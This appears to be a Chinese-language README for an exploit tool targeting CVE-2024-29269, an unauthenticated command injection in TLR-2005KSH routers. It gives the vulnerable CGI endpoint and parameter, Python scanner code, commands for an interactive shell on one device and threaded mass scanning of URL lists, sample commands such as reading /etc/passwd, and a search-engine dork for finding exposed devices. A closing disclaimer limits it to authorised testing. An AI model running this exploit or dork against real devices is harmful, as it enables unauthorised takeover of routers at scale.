🚀 CVE-2024-29269 漏洞利用工具
本项目提供了一个针对 TLR-2005KSH 路由器 未授权 OS 命令注入漏洞(CVE-2024-29269)的完整利用工具。该漏洞允许未经认证的攻击者在受影响设备上执行任意系统命令,工具支持单目标交互式操作和多目标批量扫描。
✨ 功能特性
- 🔄 交互式执行模式 - 在单个目标上连续执行任意系统命令,实时获取返回结果
- 📂 批量扫描模式 - 从文件中读取多个 URL 地址进行批量漏洞检测
- 🧵 多线程并发 - 支持自定义线程数量,大幅提升批量扫描效率
- 📝 结果输出 - 支持将扫描结果保存到指定文件中
- 📊 进度可视化 - 批量扫描时显示实时进度条,清晰掌握扫描状态
- 🎨 彩色终端输出 - 使用 rich_click 库实现美观的彩色日志输出,区分不同类型的消息
📦 安装指南
系统要求
- Python 3.7 或更高版本
- 支持 Windows / Linux / macOS
安装步骤
克隆仓库并安装依赖包:
git clone https://github.com/Chocapikk/CVE-2024-29269
cd CVE-2024-29269
pip install -r requirements.txt
依赖项
主要 Python 包依赖:
requests- HTTP 请求处理rich-click- 增强型命令行界面与彩色输出alive-progress- 动态进度条显示prompt-toolkit- 交互式命令行历史记录支持
🔍 使用说明
基础用法
1. 交互式模式(单目标)
对单个 URL 进行交互式命令执行:
python exploit.py -u http://192.168.1.1
进入交互模式后,可直接输入系统命令(如 id、ls、whoami),工具会实时返回命令执行结果。
2. 批量扫描模式
从文件中读取多个 URL 进行批量检测:
python exploit.py -f urls.txt -t 50 -o results.txt
参数说明:
-f:包含目标 URL 列表的文件路径(每行一个 URL)-t:并发线程数量(默认为 1,建议根据网络状况调整)-o:输出结果保存文件路径(可选)
典型使用场景
场景一:单设备渗透测试
# 进入交互式 shell
python exploit.py -u http://target-router.local
# 在交互界面中执行
> cat /etc/passwd
> ps aux
> ifconfig
场景二:内网批量检测
# 使用 30 个线程扫描 1000 个目标,结果保存到 scan_results.txt
python exploit.py -f targets.txt -t 30 -o scan_results.txt
ZoomEye 搜索语法
使用以下 dork 在 ZoomEye 或 LeakIX 中查找潜在易受攻击的设备:
title:"Login to TLR-2005KSH"
💻 核心代码
SystemUtilScanner 类
核心扫描器类,负责处理 HTTP 请求、XML 解析和命令执行逻辑。
class SystemUtilScanner:
def __init__(self, num_threads: int, output_file: Optional[str] = None):
self.num_threads = num_threads
self.output_file = output_file
self.results = []
def custom_print(self, message: str, header: str) -> None:
"""彩色日志输出,支持不同类型的消息标识"""
header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
header_color = header_colors.get(header, "white")
formatted_message = click.style(
f"[{header}] ", fg=header_color, bold=True
) + click.style(f"{message}", bold=True, fg="white")
click.echo(formatted_message)
def fetch_response(self, url: str, command: str = "hostname",
verbose: bool = False, interactive: bool = False) -> Optional[str]:
"""向目标发送命令执行请求并解析响应"""
endpoint = f"/cgi-bin/admin.cgi?Command=sysCommand&Cmd={command}"
full_url = url.rstrip("/") + endpoint
response = self.safe_request(full_url, verbose)
if not response:
return None
results = self.parse_xml_response(response, verbose)
if not results:
if verbose:
self.custom_print(f"No command results found in response from {url}", "-")
return None
result_message = "\n".join(results)
if not interactive:
self.custom_print(f"Vulnerable URL: {url} - Command results: {result_message}", "+")
return result_message
主执行逻辑
多线程批量扫描的核心实现,使用 ThreadPoolExecutor 管理并发任务。
def main():
# 参数解析与配置
# 支持 -u (单目标) 和 -f (批量文件) 两种模式
with ThreadPoolExecutor(max_workers=num_threads) as executor:
futures = {executor.submit(process_url, url): url for url in urls}
with alive_bar(len(urls)) as bar:
for future in as_completed(futures):
result = future.result()
if result and output_file:
# 保存结果到文件
pass
bar()
⚠️ 免责声明
本工具仅供教育和安全研究目的使用。使用者需遵守当地法律法规,仅在获得明确授权的系统上进行测试。未经授权访问计算机系统属于违法行为,作者不承担任何因滥用本工具造成的法律责任。 6HFtX5dABrKlqXeO5PUv/+Uv+VN7VH4nlU/ztqjc/e4=